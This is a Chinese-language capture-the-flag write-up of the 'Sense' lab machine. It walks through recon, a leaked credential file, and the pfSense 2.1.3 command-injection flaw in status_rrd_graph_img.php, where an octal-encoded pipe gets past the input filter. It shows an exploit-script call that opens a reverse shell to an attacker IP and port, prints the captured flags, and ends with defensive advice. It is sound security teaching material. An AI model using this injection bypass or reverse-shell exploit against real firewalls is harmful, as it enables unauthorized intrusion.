[Meachines] [Easy] Sense PFSense防火墙RCE
字数 1131 2025-08-20 18:18:23

pfSense防火墙RCE漏洞分析与利用教学文档

1. 漏洞概述

pfSense防火墙2.1.3版本中的status_rrd_graph_img.php页面存在命令注入漏洞。该漏洞源于对graph参数处理不当,虽然进行了正则表达式过滤,但未移除管道字符(|),攻击者可通过八进制编码绕过过滤,实现任意命令执行。

2. 信息收集阶段

2.1 目标识别

  • IP地址: 10.10.10.60
  • 开放端口:
    • TCP 80 (HTTP)
    • TCP 443 (HTTPS)

2.2 服务扫描

使用Nmap进行扫描:

nmap -p- 10.10.10.60 --min-rate 1000 -sC -sV

扫描结果:

  • 80/tcp: lighttpd 1.4.35 (重定向到HTTPS)
  • 443/tcp: lighttpd 1.4.35 (SSL/TLS)
    • SSL证书信息:
      • 通用名称: Common Name
      • 组织: CompanyName
      • 地区: Somewhere
      • 国家: US
      • 有效期: 2017-10-14 至 2023-04-06

2.3 目录枚举

使用Gobuster进行目录扫描:

gobuster dir -u "https://10.10.10.60/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x html,txt,php -b 404,403 -t 50 -k

发现敏感文件:

curl "https://10.10.10.60/system-users.txt" -k

内容:

username:rohit
password:pfsense

3. 漏洞分析

3.1 漏洞定位

通过SearchSploit查找pfSense相关漏洞:

searchsploit -w PFSense 2.1.3

发现漏洞存在于status_rrd_graph_img.php页面,该页面在处理graph参数时存在命令注入漏洞。

3.2 漏洞原理

  • 漏洞文件: status_rrd_graph_img.php
  • 漏洞参数: graph
  • 过滤机制: 使用正则表达式过滤非法字符
  • 绕过方式: 管道字符(|)未被过滤,可通过八进制编码(\174)绕过

4. 漏洞利用

4.1 利用准备

  • 攻击机IP: 10.10.16.14
  • 监听端口: 10032
  • 获取的凭据:
    • 用户名: rohit
    • 密码: pfsense

4.2 利用脚本

使用Python编写的漏洞利用脚本(exp.py):

python3 exp.py --rhost 10.10.10.60 --lhost 10.10.16.14 --lport 10032 --username rohit --password pfsense

4.3 利用过程

  1. 使用获取的凭据登录pfSense系统
  2. 通过status_rrd_graph_img.php页面注入命令
  3. 使用八进制编码绕过过滤
  4. 建立反向shell连接

5. 后渗透阶段

5.1 获取用户标志

User.txt: 8721327cc232073b40d27d9c17e7348b

5.2 获取root标志

Root.txt: d08c32a5d4f8c8b10e76eb51a69f1a86

6. 防护建议

  1. 升级到最新版本的pfSense
  2. 对用户输入进行严格过滤,特别是特殊字符
  3. 实施最小权限原则,限制Web服务的执行权限
  4. 监控系统日志,检测异常命令执行行为
  5. 定期进行安全审计和漏洞扫描

7. 总结

该漏洞展示了Web应用程序中输入验证不足可能导致的安全风险。通过精心构造的输入,攻击者可以绕过过滤机制,执行任意系统命令。防御此类攻击需要多层防护措施,包括严格的输入验证、输出编码、最小权限原则和持续的安全监控。

pfSense防火墙RCE漏洞分析与利用教学文档 1. 漏洞概述 pfSense防火墙2.1.3版本中的 status_rrd_graph_img.php 页面存在命令注入漏洞。该漏洞源于对 graph 参数处理不当,虽然进行了正则表达式过滤,但未移除管道字符( | ),攻击者可通过八进制编码绕过过滤,实现任意命令执行。 2. 信息收集阶段 2.1 目标识别 IP地址: 10.10.10.60 开放端口: TCP 80 (HTTP) TCP 443 (HTTPS) 2.2 服务扫描 使用Nmap进行扫描: 扫描结果: 80/tcp: lighttpd 1.4.35 (重定向到HTTPS) 443/tcp: lighttpd 1.4.35 (SSL/TLS) SSL证书信息: 通用名称: Common Name 组织: CompanyName 地区: Somewhere 国家: US 有效期: 2017-10-14 至 2023-04-06 2.3 目录枚举 使用Gobuster进行目录扫描: 发现敏感文件: 内容: 3. 漏洞分析 3.1 漏洞定位 通过SearchSploit查找pfSense相关漏洞: 发现漏洞存在于 status_rrd_graph_img.php 页面,该页面在处理 graph 参数时存在命令注入漏洞。 3.2 漏洞原理 漏洞文件: status_rrd_graph_img.php 漏洞参数: graph 过滤机制: 使用正则表达式过滤非法字符 绕过方式: 管道字符( | )未被过滤,可通过八进制编码( \174 )绕过 4. 漏洞利用 4.1 利用准备 攻击机IP: 10.10.16.14 监听端口: 10032 获取的凭据: 用户名: rohit 密码: pfsense 4.2 利用脚本 使用Python编写的漏洞利用脚本(exp.py): 4.3 利用过程 使用获取的凭据登录pfSense系统 通过 status_rrd_graph_img.php 页面注入命令 使用八进制编码绕过过滤 建立反向shell连接 5. 后渗透阶段 5.1 获取用户标志 5.2 获取root标志 6. 防护建议 升级到最新版本的pfSense 对用户输入进行严格过滤,特别是特殊字符 实施最小权限原则,限制Web服务的执行权限 监控系统日志,检测异常命令执行行为 定期进行安全审计和漏洞扫描 7. 总结 该漏洞展示了Web应用程序中输入验证不足可能导致的安全风险。通过精心构造的输入,攻击者可以绕过过滤机制,执行任意系统命令。防御此类攻击需要多层防护措施,包括严格的输入验证、输出编码、最小权限原则和持续的安全监控。